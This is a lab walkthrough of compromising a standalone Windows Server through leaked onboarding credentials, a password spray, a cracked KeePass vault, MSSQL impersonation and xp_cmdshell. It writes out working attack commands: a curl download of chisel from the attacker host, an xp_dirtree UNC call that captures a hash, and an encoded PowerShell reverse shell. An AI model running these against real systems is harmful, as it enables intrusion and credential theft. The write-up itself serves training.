Post

New Hire

New Hire

Summary

New Hire is a HackSmarter Windows lab. The starting position is an unauthenticated network position against a single Windows Server 2022 host, and the goal is to work up to the accounts that matter on it. There is no Active Directory: WIN-0MTGMLVOBBO is a standalone member of no domain, so every account is local and the “domain” field in every tool’s output is just the computer name.

The whole first half is an onboarding process leaking itself. An HR share is readable without credentials, and two of the four documents in it are the entire foothold: an email stating the temporary password issued to all new starters, and a PDF listing the four people who received it. Combining them produces a spray, and the spray’s output contains the single most misread field in SMB tooling. Two of the four accounts come back marked (Guest), which does not mean the password worked with limited rights; it means authentication failed and the server silently fell back to the Guest account. The two accounts that authenticate for real are the two new hires who had not yet complied with the “change it at first login” instruction.

From there the chain is a credential ladder, where each rung is a place someone stored a secret in something not designed to hold one:

  • One of the working accounts can read an IT share holding a KeePass 1 database. Its master password is princess, the sixth line of rockyou.txt, and 600,000 key transformation rounds buy nothing against that.
  • The vault holds a password with no username attached to it. The username has to come from the HR email’s From: header, which established the firstname.lastname convention four steps earlier.
  • That account, fred.green, has WinRM access, which is a shell and the user flag.
  • A SQL Server instance is listening on 1433 but firewalled from outside, so it is only reachable by tunnelling back through the shell already held.
  • Inside SQL Server, fred.green is a near-powerless guest, but the sa login has granted it IMPERSONATE. EXECUTE AS LOGIN = 'sa' takes it, xp_cmdshell follows, and commands run as sysadmin, the Windows account the SQL service runs under.
  • In sysadmin’s Documents there is an ssh.lnk shortcut whose argument string contains a password typed into ssh’s port flag.

Category: Windows, standalone host, credential-chain privilege escalation. Starting position: unauthenticated network access. Goal: work from an anonymous share read up to the service and administrative accounts. Theme: every step is a credential someone left in a document, a vault, a share or a shortcut, and the only “exploit” in the chain is a SQL Server permission that was granted on purpose.


1. Recon and the anonymous read

Set the target address once:

1
export IP=10.0.25.50

The port scan is worth a caveat before its results are trusted:

1
nmap -vvv -Pn -sVC -p135,139,445,5985 -oN nmap $IP

The scan came back with every port filtered while SMB was demonstrably answering the same host minutes later, so the scan output is not the authority here. The reachable services, confirmed by actually talking to them, are the RPC and SMB pair on 135/139/445 and WinRM on 5985. A fifth service, SQL Server on 1433, is listening but blocked at the host firewall, and it does not appear until section 6 when the box itself is asked.

Before any credential exists there are exactly two identities available on a Windows SMB server, and they are not the same thing:

  • The null session: an empty username and an empty password. Modern Windows restricts this to almost nothing.
  • The Guest account: a real, named local account. If it is enabled, an unknown username with any password can be silently mapped onto it.

Probe both, because which one answers tells you what the box has left on:

1
2
nxc smb $IP -u '' -p '' --shares
nxc smb $IP -u 'nonexistinguser' -p '' --shares

The second probe is the informative one. A made-up username should fail outright. If it succeeds, the server has Guest enabled and is mapping every unknown login to it, which means share access without a credential. NetExec reports that state by appending (Guest) to the success line, and that marker becomes the most important detail in the next section.

smbclient with an empty password confirms it and lists the shares:

1
smbclient -L \\\\$IP
1
2
3
4
5
6
7
8
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	HR              Disk
	IPC$            IPC       Remote IPC
	IT              Disk
SMB1 disabled -- no workgroup available

ADMIN$, C$ and IPC$ are the built-in administrative shares and are listed on every Windows host whether or not you can touch them. HR and IT are the two somebody created, and HR opens without a password:

1
smbclient //$IP/HR
1
2
3
4
5
6
7
smb: \> dir
  .                                   D        0  Thu May 21 13:00:14 2026
  ..                                DHS        0  Sun Aug 30 15:26:19 2026
  employees.eml                       A      384  Thu May 21 12:14:17 2026
  New_Employees.pdf                   A    20539  Thu May 21 11:50:17 2026
  PerformanceReport.pdf               A    39619  Thu May 21 12:20:15 2026
  Recommendation.doc                  A    60416  Thu May 21 12:22:51 2026

Pull everything. prompt off stops mget asking per file, and recurse on walks subdirectories:

1
smbclient //$IP/HR -c 'prompt off; recurse on; mget *'

2. Reading the HR share properly

Four files came back, and only two of them matter. PerformanceReport.pdf and Recommendation.doc are unmodified Office templates: a quarterly report for a fictional courier company, and a stock recommendation letter. They are filler, and confirming that costs one command each:

1
pdftotext PerformanceReport.pdf - | head -20

Do not skip the boring documents, but do not over-read them either. The fastest way to tell a plant from a decoy is to look for the things a template cannot have: a real internal hostname, a real username, a real domain in an email header. A document full of CONSOLIDATED MESSENGER and 918-555-0133 is a template someone downloaded; a document with @megacorp.com in it was written for this environment.

The email is the first half of the foothold:

1
cat employees.eml
1
2
3
4
5
6
7
8
From: Fred Green <fred.green@megacorp.com>
To: Lynda Smith <lynda.smith@megacorp.com>
Subject: Employees
Date: Thu, 21 May 2026 10:15:00 -0600

Accounts for new employees have been set up, temporary password is MegaCorp2026!

They will have to change the password once they login.

Three separate facts are in those headers, and it is worth naming all three because two of them are used much later:

  1. A password, MegaCorp2026!, issued to an unknown number of accounts.
  2. A naming convention, fred.green@megacorp.com, which says local accounts are firstname.lastname.
  3. A name, Fred Green, who is not a new hire and is therefore not in the list about to be sprayed. He becomes relevant in section 5.

The PDF is the second half:

1
pdftotext New_Employees.pdf - 
1
2
3
4
5
6
The following employees will begin onboarding shortly:

-Alvin Glein, Finance
-Jen Daya, Data Analyst
-Tim Torner, Junior Helpdesk
-Jose Castillo, Sales

Apply the convention from the email header to the names from the PDF:

1
2
3
4
5
6
cat > pusers.txt <<'EOF'
alvin.glein
jen.daya
tim.torner
jose.castillo
EOF

3. The spray, and what (Guest) actually means

1
nxc smb $IP -u pusers.txt -p 'MegaCorp2026!' --continue-on-success
1
2
3
4
5
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    [*] Windows Server 2022 Build 20348 x64 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO) (signing:False) (SMBv1:False)
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    [+] WIN-0MTGMLVOBBO\alvin.glein:MegaCorp2026! (Guest)
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    [+] WIN-0MTGMLVOBBO\jen.daya:MegaCorp2026! (Guest)
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    [+] WIN-0MTGMLVOBBO\tim.torner:MegaCorp2026!
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    [+] WIN-0MTGMLVOBBO\jose.castillo:MegaCorp2026!

Four green [+] lines, and only two of them are credentials.

(Guest) is not a note about privilege level. It means the SMB2 session setup response came back with SMB2_SESSION_FLAG_IS_GUEST set: the server fell back to the Guest account instead of authenticating the credential. On a local SAM, that fallback only happens for a username that does not exist on the box. A username that does exist, given the wrong password, returns an authentication error (access denied) rather than a Guest session. So alvin.glein and jen.daya are not “wrong password” results, they are “no such account”: those two names are not local users at all. Reading the (Guest) lines as successful logins sends you spraying a shared password against accounts that were never there.

That distinction settles what the four-name list actually contains. Only tim.torner and jose.castillo are real accounts on this host; alvin.glein and jen.daya were never provisioned under the firstname.lastname spelling the email implied, which is why the server had nothing to authenticate them against and reached for Guest. The onboarding PDF named four people, the box has two of them.

Also note (domain:WIN-0MTGMLVOBBO), identical to the computer name. On a domain-joined machine that field carries the domain. Here it does not, which is how the output tells you these are local accounts in the machine’s own SAM.

Two valid credentials is not two equivalent footholds. Enumerate the shares as each one, separately:

1
nxc smb $IP -u tim.torner -p 'MegaCorp2026!' --shares
1
2
3
4
5
6
7
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    Share           Permissions            Remark
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    -----           -----------            ------
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    ADMIN$                                 Remote Admin
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    C$                                     Default share
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    HR              READ
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    IPC$            READ                   Remote IPC
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    IT              READ
1
nxc smb $IP -u jose.castillo -p 'MegaCorp2026!' --shares
1
2
3
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    HR              READ
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    IPC$            READ                   Remote IPC
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    IT

IT has no permission listed for jose.castillo and READ for tim.torner. The two accounts were provisioned identically as far as the onboarding email was concerned, and they are not identical on the file server: Tim Torner is the Junior Helpdesk hire, and helpdesk got put in a group that reaches the IT share. The job titles in the onboarding PDF were not decoration.


4. The IT share and a KeePass database

1
smbclient -U "tim.torner" -W WIN-0MTGMLVOBBO //$IP/IT

The -W WIN-0MTGMLVOBBO matters. smbclient defaults to the workgroup in smb.conf, and against a standalone server the authentication authority is the machine itself. Passing the computer name as the “workgroup” is how you tell the client to authenticate locally rather than against a domain that does not exist.

1
2
3
4
5
6
7
8
smb: \> dir
  cisco_b_install-guide.pdf           A  2659594  Thu May 21 12:26:50 2026
  Database.kdb                        A     1996  Thu May 21 13:44:38 2026
  Exchange_migration.pdf              A   450593  Thu May 21 12:29:34 2026
  PsExec64.exe                        A   833472  Tue Apr 11 19:16:08 2023
  putty.exe                           A  1483040  Wed Dec 13 10:04:34 2023
  readerdc_es_xa_crd_install.exe      A  1202680  Fri Dec 21 20:27:28 2018
  Service proposal.pdf                A    90831  Thu May 21 12:25:06 2026

This is a real IT department’s junk drawer: two administrative tools, an Acrobat installer from 2018, some vendor PDFs, and a password database sitting in the middle of a share that a helpdesk hire on his first day can read.

1
smbclient -U "tim.torner" -W WIN-0MTGMLVOBBO //$IP/IT -c 'get Database.kdb'

Identify it before attacking it, because the KeePass format version decides the tooling:

1
file Database.kdb
1
Database.kdb: Keepass password database 1.x KDB, 6 groups, 6 entries, 600000 key transformation rounds

.kdb is the KeePass 1 format, not the modern .kdbx. It is also already telling us the one parameter that governs how expensive cracking will be: 600,000 key transformation rounds, meaning the master password is put through 600,000 AES iterations before it becomes the decryption key.

Cracking the master password

keepass2john, part of John the Ripper, extracts the header material into a crackable string:

1
2
keepass2john Database.kdb > keepass.hash
cat keepass.hash
1
Database.kdb:$keepass$*1*600000*0*0b9870a69b6e6425d3168155477ba307*c80096d4bd...

The *1* is the format version and *600000* is the round count from the file header, both matching what file reported.

Handing that to hashcat without a mode gets a useful refusal rather than a guess:

1
hashcat keepass.hash /opt/rockyou.txt --username --quiet
1
2
3
4
5
6
The following 2 hash-modes match the structure of your input hash:

      # | Name                                          | Category
  ======+===============================================+==================
  13400 | KeePass (KDBX v2/v3)                          | Password Manager
  29700 | KeePass (KDBX v2/v3) - keyfile only           | Password Manager

13400 cracks the master password and 29700 attacks a database protected by a key file only. There is no key file here, so 13400 is the mode:

1
hashcat -m 13400 keepass.hash /opt/rockyou.txt --username --quiet
1
$keepass$*1*600000*0*0b9870a69b6e6425d3168155477ba307*c80096d4bd...:princess
1
grep -n '^princess$' /opt/rockyou.txt
1
6:princess

600,000 key transformation rounds is a serious KDF setting. It is meant to make each guess expensive enough that a wordlist attack becomes impractical, and against a strong master password it does exactly that. It cost nothing here, because the answer was the sixth line of rockyou.txt: 600,000 rounds times six candidates is still six candidates. A KDF multiplies the cost of the search, and multiplying a search of length six is not a defence.

Opening it

KeePassXC does not open KeePass 1 databases directly. It reads them through Database, Import, KeePass 1 Database (.kdb), which converts the vault into a new .kdbx rather than opening the original in place:

KeePassXC import dialog with KeePass 1 Database selected KeePassXC handles .kdb as an import format, not an open format

The three entries in the imported vault Three Windows entries. The first has a title and a password but no username

Three entries:

TitleUsernamePassword
Fred Green(empty)7ERRI9Q0YEfvJYF
(empty)testaccountnoodlebooger90000
(empty)legacyadminhrCrazh5zKagLPQiD6wM

5. Turning the vault into a login

The vault does not hand over a usable credential. Two entries have usernames and no titles, and the interesting one has a title and no username: whoever saved it typed the person’s display name into the Title field and left Username blank, because they knew who it was.

The username has to be reconstructed, and the material for that was collected in section 2. The HR email’s From: header was fred.green@megacorp.com, which established both that Fred Green exists as an account and that the local convention is firstname.lastname. So Fred Green becomes fred.green.

Build two aligned files and test the pairs:

1
2
3
4
5
6
7
8
9
10
11
cat > keepassusers.txt <<'EOF'
legacyadmin
testaccount
fred.green
EOF

cat > keepasspass.txt <<'EOF'
hrCrazh5zKagLPQiD6wM
noodlebooger90000
7ERRI9Q0YEfvJYF
EOF
1
nxc smb $IP -u keepassusers.txt -p keepasspass.txt --continue-on-success --no-bruteforce
1
2
3
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    [+] WIN-0MTGMLVOBBO\legacyadmin:hrCrazh5zKagLPQiD6wM (Guest)
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    [+] WIN-0MTGMLVOBBO\testaccount:noodlebooger90000 (Guest)
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    [+] WIN-0MTGMLVOBBO\fred.green:7ERRI9Q0YEfvJYF

--no-bruteforce changes the pairing rule. By default NetExec tries the full cartesian product, every username against every password, which for three of each is nine authentication attempts. With --no-bruteforce it walks both files in lockstep: line 1 with line 1, line 2 with line 2, three attempts total. Use it whenever the two lists are already paired, both to avoid noise and because a wrong pair that lands on a real account still counts toward a lockout threshold.

The (Guest) marker does its job again. legacyadmin and testaccount are vault entries for accounts that no longer exist on this host, exactly the residue a password manager accumulates. Only the entry whose username had to be derived is live.

1
nxc smb $IP -u fred.green -p 7ERRI9Q0YEfvJYF --shares
1
2
3
4
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    Share           Permissions            Remark
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    HR              READ
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    IPC$            READ                   Remote IPC
SMB    10.0.25.50    445    WIN-0MTGMLVOBBO    IT              READ,WRITE

IT is now READ,WRITE. A writable share that IT staff browse is an NTLM coercion opportunity: dropping a payload set from ntlm_theft into it makes any user who opens the folder in Explorer authenticate to an attacker-controlled UNC path, handing over a NetNTLMv2 hash. That branch was prepared here and never needed, because the next check produced a shell outright.

1
nxc winrm $IP -u fred.green -p 7ERRI9Q0YEfvJYF
1
WINRM    10.0.25.50    5985    WIN-0MTGMLVOBBO    [+] WIN-0MTGMLVOBBO\fred.green:7ERRI9Q0YEfvJYF (Pwn3d!)

Pwn3d! on the WinRM protocol means the account is in Remote Management Users (or is an administrator) and the WinRM endpoint will run commands for it:

1
evil-winrm -i $IP -u fred.green -p 7ERRI9Q0YEfvJYF

evil-winrm lands in C:\Users\fred.green\Documents, and the user flag is one directory over:

1
type C:\Users\fred.green\Desktop\user.txt
1
<redacted>

6. A service nobody advertised

The first thing worth doing in a shell on a standalone box is counting the profiles, because every profile directory is an account that has logged in interactively at some point:

1
tree /f C:\Users
1
2
3
4
5
6
7
8
9
C:.
+---Administrator
+---fred.green
|   +---Desktop
|   |       user.txt
|   +---Documents
...
+---Public
+---sysadmin.WIN-0MTGMLVOBBO

There is a third account: sysadmin. The .WIN-0MTGMLVOBBO suffix on the profile directory is Windows resolving a collision, which happens when a profile already existed for a different security principal with the same name. Either way, sysadmin is a real local account that has logged on, and nothing so far has mentioned it.

The drive root explains what it is for:

1
dir C:\
1
2
3
4
5
6
7
8
d-----         5/21/2026  10:00 AM                HR
d-----         5/21/2026  10:24 AM                IT
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         8/30/2026  12:18 PM                Program Files
d-----         5/21/2026  11:18 AM                Program Files (x86)
d-----         5/21/2026  11:01 AM                SQL2025
d-r---         5/22/2026   9:36 AM                Users
d-----         8/30/2026  12:26 PM                Windows

SQL2025. Confirm it is running and on which port:

1
netstat -ano | findstr /i listening
1
2
3
4
5
6
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       908
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       3992
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       424
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49689          0.0.0.0:0              LISTENING       3992

SQL Server is bound to 0.0.0.0:1433, which means the service itself accepts connections from anywhere. From outside it is unreachable:

1
nc -zv $IP 1433

The connection does not complete. A socket bound to 0.0.0.0 and unreachable from the network is a firewall result, not a service result: Windows Firewall is dropping inbound 1433 while allowing 445 and 5985. This distinction decides the fix. If the service were bound to 127.0.0.1 a tunnel would be the only option; here a tunnel is simply the cheapest way through a filter, using an outbound connection the firewall already permits.

Tunnelling 1433 back

chisel builds a TCP tunnel over HTTP/WebSocket. Run the server on the attacking machine in reverse mode, so the client is the one that dials out:

1
chisel server --reverse -p 9002

Serve the binary over HTTP and pull it down through the WinRM shell:

1
python3 -m http.server 8000
1
2
3
cd C:\programdata
curl.exe http://10.200.92.96:8000/chisel.exe -O
.\chisel.exe client 10.200.92.96:9002 R:1433:127.0.0.1:1433
1
2
3
2026/09/08 17:03:12 server: Reverse tunnelling enabled
2026/09/08 17:03:12 server: Listening on http://0.0.0.0:9002
2026/09/08 17:03:32 server: session#1: tun: proxy#R:1433=>1433: Listening

The R: prefix is the whole point. R:1433:127.0.0.1:1433 says: open a listener on my side (the chisel server, port 1433) and forward everything arriving there to 127.0.0.1:1433 as seen from the client. Traffic flows attacker to attacker’s own port 1433, through the already-established outbound WebSocket, out of the chisel client, and into SQL Server on the loopback interface of the target. The firewall never sees an inbound connection to 1433 because there isn’t one.

1
nxc mssql 127.0.0.1 -u fred.green -p 7ERRI9Q0YEfvJYF
1
2
MSSQL    127.0.0.1    1433    WIN-0MTGMLVOBBO    [*] Windows Server 2022 Build 20348 (2025 RTM 17.0.1000)
MSSQL    127.0.0.1    1433    WIN-0MTGMLVOBBO    [+] WIN-0MTGMLVOBBO\fred.green:7ERRI9Q0YEfvJYF

7. MSSQL: guest, then sa, then the service account

mssqlclient.py from Impacket fails on the first attempt, and the error is worth reading rather than working around:

1
mssqlclient.py fred.green:7ERRI9Q0YEfvJYF@127.0.0.1
1
2
[*] Encryption required, switching to TLS
[-] ERROR(WIN-0MTGMLVOBBO\SQLEXPRESS): Line 1: Login failed for user 'fred.green'.

SQL Server has two independent authentication systems, and the default here is the wrong one. The MSSQL theory page works through the whole model; the short version is enough to get past this error:

  • SQL Server authentication checks a username and password against logins stored inside SQL Server itself. sa is the archetype. This is what the command above attempted, and there is no SQL login named fred.green.
  • Windows authentication hands the credential to the operating system and maps the resulting Windows principal to a SQL login. fred.green exists in the SAM, not in master.

-windows-auth selects the second:

1
mssqlclient.py fred.green:7ERRI9Q0YEfvJYF@127.0.0.1 -windows-auth
1
2
3
[*] ACK: Result: 1 - Microsoft SQL Server 2025 RTM (17.0.1000)
[!] Press help for extra shell commands
SQL (WIN-0MTGMLVOBBO\fred.green  guest@master)>

The prompt is a two-part status line and both halves matter. WIN-0MTGMLVOBBO\fred.green is the login (server-level identity). guest@master is the database user it maps to inside master, and guest is the fallback principal used when a login has no user account in that database. This is close to the least privilege a connected session can have.

The service identity, confirmed the noisy way

Before looking for a permission, it is useful to know who SQL Server runs as, because that is who any command execution will run as. xp_dirtree takes a UNC path and makes the SQL service walk it, authenticating as itself:

1
sudo smbserver.py -smb2support shares /tmp/share -debug
1
xp_dirtree \\10.200.92.96\shares\test
1
2
3
4
[*] Incoming connection (10.0.25.50,50000)
[*] AUTHENTICATE_MESSAGE (WIN-0MTGMLVOBBO\sysadmin,WIN-0MTGMLVOBBO)
[*] User WIN-0MTGMLVOBBO\sysadmin authenticated successfully
[*] sysadmin::WIN-0MTGMLVOBBO:aaaaaaaaaaaaaaaa:16157e3204699bd2046584b698d170a3:0101000000000000...

Two results from one query. The service account is WIN-0MTGMLVOBBO\sysadmin, which is the third profile from section 6, and a NetNTLMv2 challenge-response for it is now in hand. That hash did not fall to rockyou.txt, and it did not need to: the next command makes cracking irrelevant.

xp_dirtree is available to low-privileged logins by design, and it is the cheapest way to answer “what account is this service running as” without any privilege at all. The captured NetNTLMv2 is a bonus, not the point. NetNTLMv2 cannot be passed like an NT hash, so it is only useful cracked or relayed, and here the account’s password was strong enough that neither was worth pursuing.

The permission that was granted on purpose

1
enum_impersonate
1
2
3
execute as   database   permission_name   state_desc   grantee                      grantor
----------   --------   ---------------   ----------   --------------------------   -------
LOGIN                   IMPERSONATE       GRANT        WIN-0MTGMLVOBBO\fred.green   sa

sa granted IMPERSONATE on itself to fred.green. That is not a bug in SQL Server, it is a permission an administrator typed. The effect is that fred.green can execute a statement that changes its own security context for the rest of the session:

1
EXECUTE AS LOGIN = 'sa'

mssqlclient.py wraps this:

1
exec_as_login sa
1
SQL (sa  dbo@master)>

Both halves of the prompt changed. The login is now sa and the database user is dbo, the owner of master. Everything sa can do, this session can now do.

1
xp_cmdshell whoami
1
2
ERROR: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell'
because this component is turned off as part of the security configuration for this server.

xp_cmdshell is disabled by default, and disabled is not the same as removed. The procedure is present; a configuration flag gates it, and sa can flip the flag:

1
2
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Or, the same thing in one command:

1
enable_xp_cmdshell
1
2
INFO: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

This is a persistent change to the server’s configuration, not a session setting. It stays on after the connection closes, it is visible to anyone who looks at sp_configure, and it is a well-monitored event. On a real engagement, note the original value, and turn it back off with EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; when finished.

1
xp_cmdshell whoami
1
2
3
output
------------------------
win-0mtgmlvobbo\sysadmin

sa is the SQL Server administrator, and it has no operating system identity whatsoever. When xp_cmdshell runs a command, the process is created by the SQL Server service, so it inherits the service account’s token: sysadmin, not sa and not fred.green. This is why the account SQL Server runs as is the single most important thing to establish about an instance. Running it as LocalSystem or a Domain Admin turns any sa-equivalent permission into that identity, and the permission that got us to sa here was a deliberate GRANT.


8. The sysadmin context

xp_cmdshell executes one command at a time with no interactivity, so trade it for a shell. The one-liner from nishang is a PowerShell TCP reverse shell; -enc expects UTF-16LE base64, which is what iconv produces here:

1
2
3
4
5
cat /tools/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 \
  | head -n3 | tail -n1 | cut -c2- \
  | sed "s/192.168.254.1/$(ip -4 -o addr show tun0 | awk '{print $4}' | cut -d/ -f1)/" \
  | sed 's/4444/9999/' \
  | iconv -t utf-16le | base64 -w0
1
rlwrap nc -lvnp 9999
1
xp_cmdshell powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0...
1
2
3
4
5
Listening on 0.0.0.0 9999
Connection received on 10.0.25.50 50006

PS C:\Windows\system32> whoami
win-0mtgmlvobbo\sysadmin

Two things about this identity are worth recording before moving on:

1
whoami /priv
1
2
3
4
5
6
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
1
whoami /groups
1
2
3
4
5
6
7
8
Group Name                           Type             SID
==================================== ================ ==============================
BUILTIN\Remote Management Users      Alias            S-1-5-32-580
BUILTIN\Users                        Alias            S-1-5-32-545
BUILTIN\Performance Monitor Users    Alias            S-1-5-32-558
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6
NT SERVICE\MSSQL$SQLEXPRESS          Well-known group S-1-5-80-...
Mandatory Label\High Mandatory Level Label            S-1-16-12288

SeImpersonatePrivilege is enabled, which is the standard service-account privilege and the entry point for the potato family of local escalations to SYSTEM. It is available from here and is not the path taken. The logon types and privileges page covers why a service account has it and what it actually permits.

A password in a shortcut

sysadmin’s profile has a Documents folder, and in it a Windows shortcut. A .lnk file is a small binary structure holding a target path, an argument string, a working directory and an icon reference, all in plaintext, and all readable by anyone who can read the file. The COM object that creates shortcuts also reads them:

1
2
3
$sh = New-Object -COM WScript.Shell
$lnk = $sh.CreateShortcut("C:\users\sysadmin.WIN-0MTGMLVOBBO\Documents\ssh.lnk")
$lnk | Select-Object TargetPath, Arguments, WorkingDirectory, WindowStyle, IconLocation, Hotkey, Description
1
2
3
4
TargetPath       : C:\Windows\System32\OpenSSH\ssh.exe
Arguments        : admin@10.0.0.1 -p RRxcgEJSpZPnQAR90
WorkingDirectory : C:\Windows\System32\OpenSSH
IconLocation     : ,0

The argument string is a mistake with a very specific shape. In ssh, -p is the port flag, not a password flag; ssh has no password flag at all, because it reads passwords from the terminal precisely so they never end up in a command line. Whoever built this shortcut assumed -p meant password, typed the credential for admin@10.0.0.1 into it, and saved the result to disk. The shortcut has never worked as a shortcut, and it has been storing a plaintext password for as long as it has existed.

Command-line arguments are not a secret store. They are visible to Get-CimInstance Win32_Process, to Sysmon event ID 1, to the shortcut’s own properties dialog, and in this case to any account that can read the file. The same failure produces credentials in scheduled task actions, in service ImagePath values, in .bat wrappers and in shell history, and it is worth sweeping all of them once a foothold exists.

That credential, and the SeImpersonatePrivilege on the shell that found it, are the two leads the sysadmin context hands over, and they are where this engagement stopped.


Understanding the Attack Chain

PrimitiveSeverity in isolationComposed
Guest account enabledUnknown logins map to GuestAnonymous read of the HR share
HR share readableFour office documentsThe onboarding email and name list
Temp password in an emailOne password stringSprayable against four accounts
From: header in that emailA sender addressThe firstname.lastname convention
“Must change at login” as proseA stated intentionTwo of four accounts never complied
(Guest) on a spray hitLooks like a successMarks the two failures as failures
Job titles in the onboarding PDFOrganisational detailPredicts who can read IT
Database.kdb on a readable shareAn encrypted vaultMaster password is rockyou line 6
Vault entry with no usernameAn orphan passwordUsername derived from the email header
fred.green in Remote Mgmt UsersA WinRM shellUser flag, and a pivot point
1433 bound to 0.0.0.0, firewalledUnreachable serviceReachable via a reverse tunnel
IMPERSONATE granted on saA deliberate GRANTEXECUTE AS LOGIN, full sa rights
xp_cmdshell merely disabledOff by configurationsa turns it back on
SQL service runs as sysadminNormal service isolationxp_cmdshell inherits that token
xp_dirtree for any loginDirectory listing procedureLeaks the service account and its hash
Password in an ssh.lnk argumentA broken shortcutPlaintext credential for admin@10.0.0.1
SeImpersonatePrivilege enabledStandard for a serviceOpen path from sysadmin to SYSTEM
This post is licensed under CC BY 4.0 by the author.